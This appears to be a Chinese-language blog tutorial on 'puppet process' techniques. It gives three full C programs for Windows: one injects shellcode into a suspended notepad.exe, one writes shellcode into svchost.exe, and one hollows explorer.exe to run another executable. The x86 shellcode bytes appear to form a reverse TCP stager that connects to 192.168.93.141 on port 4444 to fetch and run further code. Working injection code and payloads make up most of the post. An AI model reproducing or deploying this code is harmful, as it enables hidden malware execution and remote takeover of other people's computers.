傀儡进程

shellcode插入
x64
整体流程:
1.创建进程,获取进程句柄 CreateProcessA
2.在目标进程分配shellcode大小的内存空间 VirtualAllocEx
3.远程写入shellcode WriteProcessMemory
4.远程线程调用 CreateRemoteThread
5.等待返回 WaitForSingleObject
6.减少线程的挂起计数。当挂起计数减为零时,将继续执行线程。 ResumeThread

ps:其实这个不算最多算个线程劫持

#include "stdafx.h"
#include <Windows.h>
int main()
{
        unsigned char buf[] =
               "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
               "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
               "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
               "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
               "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
               "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
               "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
               "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
               "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
               "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
               "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
               "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
               "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
               "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
               "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
               "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
               "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
               "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
               "\x63\x2e\x65\x78\x65\x00";
        SIZE_T size = 0;
        STARTUPINFOEXA si;
        PROCESS_INFORMATION pi;
        ZeroMemory(&si, sizeof(si));
        si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
        si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
        ZeroMemory(&pi, sizeof(pi));

        BOOL sucess = CreateProcessA(NULL, "C:\\Windows\\System32\\notepad.exe", NULL,  NULL, true, CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,  (LPSTARTUPINFOA)&si, &pi);
        HANDLE notepadHandle = pi.hProcess;
        LPVOID remotebuffer = VirtualAllocEx(notepadHandle, NULL, sizeof(buf),  (MEM_RESERVE | MEM_COMMIT),PAGE_EXECUTE_READWRITE);
        WriteProcessMemory(notepadHandle,remotebuffer,buf,sizeof(buf),NULL);
        HANDLE remoteThread = CreateRemoteThread(notepadHandle, NULL, 0,  (LPTHREAD_START_ROUTINE)remotebuffer, NULL, 0, NULL); //remotebuffer为线程起始地址
        if (WaitForSingleObject(remoteThread, INFINITE) == WAIT_FAILED) {
               return 1;
        }
        if (ResumeThread(pi.hThread) == -1) {
               return 1;
        }
    return 0;
}

x86
寻找加载基地址,在加载基地址前运行shellcode:
1.挂起方式创建进程 CreateProcessA
2.获取线程里的PEB GetThreadContext
3.获取进程基地址保存在EAX ReadProcessMemory
4.在基地址之前写入shellcode WriteProcessMemory
5.恢复线程执行 ResumeThread

#include "stdafx.h"
#include <Windows.h>
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x5d\x8d"
"\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
void test() {
        STARTUPINFOA si;
        PROCESS_INFORMATION pi;
        ZeroMemory(&si, sizeof(si));
        ZeroMemory(&pi, sizeof(pi));
        si.cb = sizeof(STARTUPINFOA);
        if (!CreateProcessA("C:\\Windows\\sysWoW64\\svchost.exe", NULL, NULL, NULL, FALSE,  CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
               printf("CreateProcess Error Code:%d\n", GetLastError());
               return;
        }
        printf("CreateProcess Sucess\n");
        CONTEXT ctx;
        ctx.ContextFlags = CONTEXT_ALL;
        if (!GetThreadContext(pi.hThread, &ctx)) {
               printf("GetThreadContext Error Code:%d\n", GetLastError());
               return;
        }
        printf("GetThreadContext Sucess\n");
        DWORD dwImageBase = 0;
        DWORD lpNumberOfBytesRead = 0;
        if (!ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 0x8), &dwImageBase,  sizeof(DWORD), &lpNumberOfBytesRead)) {
               printf("ReadProcessMemory Error Code:%d\n", GetLastError());
               return;
        }
        printf("ReadProcessMemory Sucess\n");
        DWORD NumberOfBytesWritten = 0;
        if (!WriteProcessMemory(pi.hProcess, (LPVOID)ctx.Eax, buf, sizeof(buf),  &NumberOfBytesWritten)) {
               printf("WriteProcessMemory Error Code:%d\n");
        }
        printf("WriteProcessMemory Sucess\n");
        if (ResumeThread(pi.hThread) == -1) { //恢复线程执行成功的话函数返回为0
               printf("ResumeThread Error Code:%d\n",GetLastError());
        }
        printf("ResumeThread Sucess\n");
}
int main()
{
        test();
        system("pause");
    return 0;
}

x86进程替换
1.创建进程CreateProcessA
2.获取进程PEB地址GetThreadContext
3.读取文件获取文件句柄 CreateFileA #替换掉目标文件的恶意文件
4.获取文件大小 GetFileSize
5.定义一个恶意文件的大小内存空间
6.读取文件内容 ReadFile
7.获取恶意文件内容的DOS头 (PIMAGE_DOS_HEADER)pBuf
8.获取恶意文件内容的NT头 (PIMAGE_NT_HEADERS)(pBuf + pDosHeader->e_lfanew)
9.更改创建进程的基地址允许执行权限((LPVOID)pNtHeaders->OptionalHeader.ImageBase)
10.往进程内存写入恶意文件WriteProcessMemory(pi.hProcess,lpAddr,(LPCVOID)pBuf,pNtHeaders->OptionalHeader.SizeOfHeaders,NULL); //指向要写的数据的指针。
11.替换字节
12.替换PEB中基地址
13.替换入口点

pDosHeader->e_lfanew DOS偏移头
pNtHeaders->OptionalHeader.ImageBase 基地址
pNtHeaders->OptionalHeader.SizeOfImage PE大小
pNtHeaders->FileHeader.NumberOfSections 节表大小
(LPVOID)((DWORD)lpAddr + pSectionHeader->VirtualAddress 节区的RVA地址
(LPCVOID)((DWORD)pBuf + pSectionHeader->PointerToRawData 在文件中的偏移
dwImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint 程序执行入口RVA

#include "stdafx.h"
#include <Windows.h>
void test() {
        CHAR test[MAX_PATH] = "C:\\Windows\\SysWOW64\\explorer.exe";
        CHAR test2[MAX_PATH] = "C:\\windows\\SysWOW64\\calc.exe";
        STARTUPINFOA si;
        PROCESS_INFORMATION pi;
        ZeroMemory(&si, sizeof(si));
        ZeroMemory(&pi, sizeof(pi));
        if (!CreateProcessA(test, NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi)) {
               printf("CreateProcess Error:%d\n",GetLastError());
               return;
        }
        printf("CreateProcess Sucess\n");
        CONTEXT ctx;
        ctx.ContextFlags = CONTEXT_ALL;
        if (!GetThreadContext(pi.hThread, &ctx)) {
               printf("GetThreadContext Error Code:%d\n", GetLastError());
               return;
        }
        printf("GetThreadContext Sucess\n");
        HANDLE hFile = CreateFileA(test2, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE  | FILE_SHARE_DELETE,
               NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile == INVALID_HANDLE_VALUE)
        {
               printf("Open EXE File Filed");
               printf("%d", GetLastError());
               return;
        }
        DWORD dwSize = GetFileSize(hFile, NULL);
        LPBYTE pAllocPE = NULL;
        PBYTE pBuf = (PBYTE)malloc(dwSize);
        DWORD dwBytesRead = 0;
        ReadFile(hFile, (LPVOID)pBuf, dwSize, &dwBytesRead, NULL);
        PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;
        PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(pBuf + pDosHeader->e_lfanew);
        //2.获取进程上下文
        CONTEXT stThreadContext;
        stThreadContext.ContextFlags = CONTEXT_FULL;
        if (GetThreadContext(pi.hThread, &stThreadContext) == 0)
        {
               printf("CreateProcess failed (%d).\n", GetLastError());
               return;
        }
        void* lpAddr = VirtualAllocEx(pi.hProcess,  (LPVOID)pNtHeaders->OptionalHeader.ImageBase,
               pNtHeaders->OptionalHeader.SizeOfImage,
               MEM_COMMIT | MEM_RESERVE,
               PAGE_EXECUTE_READWRITE);//用Imagebase为起始地址避免了重定位。
        if (lpAddr == NULL)
        {
               printf("VirtualAlloc failed (%d).\n", GetLastError());
               return;
        }
        BOOL bRet = WriteProcessMemory(pi.hProcess,
               lpAddr,
               (LPCVOID)pBuf,//指向要写的数据的指针。
               pNtHeaders->OptionalHeader.SizeOfHeaders,
               NULL);
        if (!bRet)
        {
               return ;
        }
        // 替换节
        LPVOID lpSectionBaseAddr = (LPVOID)((DWORD)pBuf
               + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
        PIMAGE_SECTION_HEADER pSectionHeader;
        DWORD dwIndex = 0;
        for (; dwIndex < pNtHeaders->FileHeader.NumberOfSections; ++dwIndex)
        {
               pSectionHeader = (PIMAGE_SECTION_HEADER)lpSectionBaseAddr;
               bRet = WriteProcessMemory(pi.hProcess,
                       (LPVOID)((DWORD)lpAddr + pSectionHeader->VirtualAddress),
                       (LPCVOID)((DWORD)pBuf + pSectionHeader->PointerToRawData),
                       pSectionHeader->SizeOfRawData,
                       NULL);
               if (!bRet)
               {
                       return;
               }
               lpSectionBaseAddr = (LPVOID)((DWORD)lpSectionBaseAddr +  sizeof(IMAGE_SECTION_HEADER));
        }
        //6.恢复现场并运行傀儡进程
        // 替换PEB中基地址
        DWORD dwImageBase = pNtHeaders->OptionalHeader.ImageBase;
        bRet = WriteProcessMemory(pi.hProcess, (LPVOID)(stThreadContext.Ebx + 8),  (LPCVOID)&dwImageBase, sizeof(PVOID), NULL);
        if (!bRet)
        {
               return;
        }
        // 替换入口点
        stThreadContext.Eax = dwImageBase +  pNtHeaders->OptionalHeader.AddressOfEntryPoint;
        bRet = SetThreadContext(pi.hThread, &stThreadContext);
        if (!bRet)
        {
               return;
        }
        ResumeThread(pi.hThread);
        printf("PID: %d", pi.dwProcessId);
        free(pBuf);
}
int main()
{
        test();
        system("pause");
        return 0;
}

x64傀儡进程参考:https://bbs.pediy.com/thread-253362.htm
EXE替换参考:https://jev0n.com/2020/03/11/65.html


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:傀儡进程

本文作者:九世

发布时间:2021-04-06, 23:29:53

最后更新:2021-04-06, 23:36:34

原始链接:http://422926799.github.io/posts/96bf6a75.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录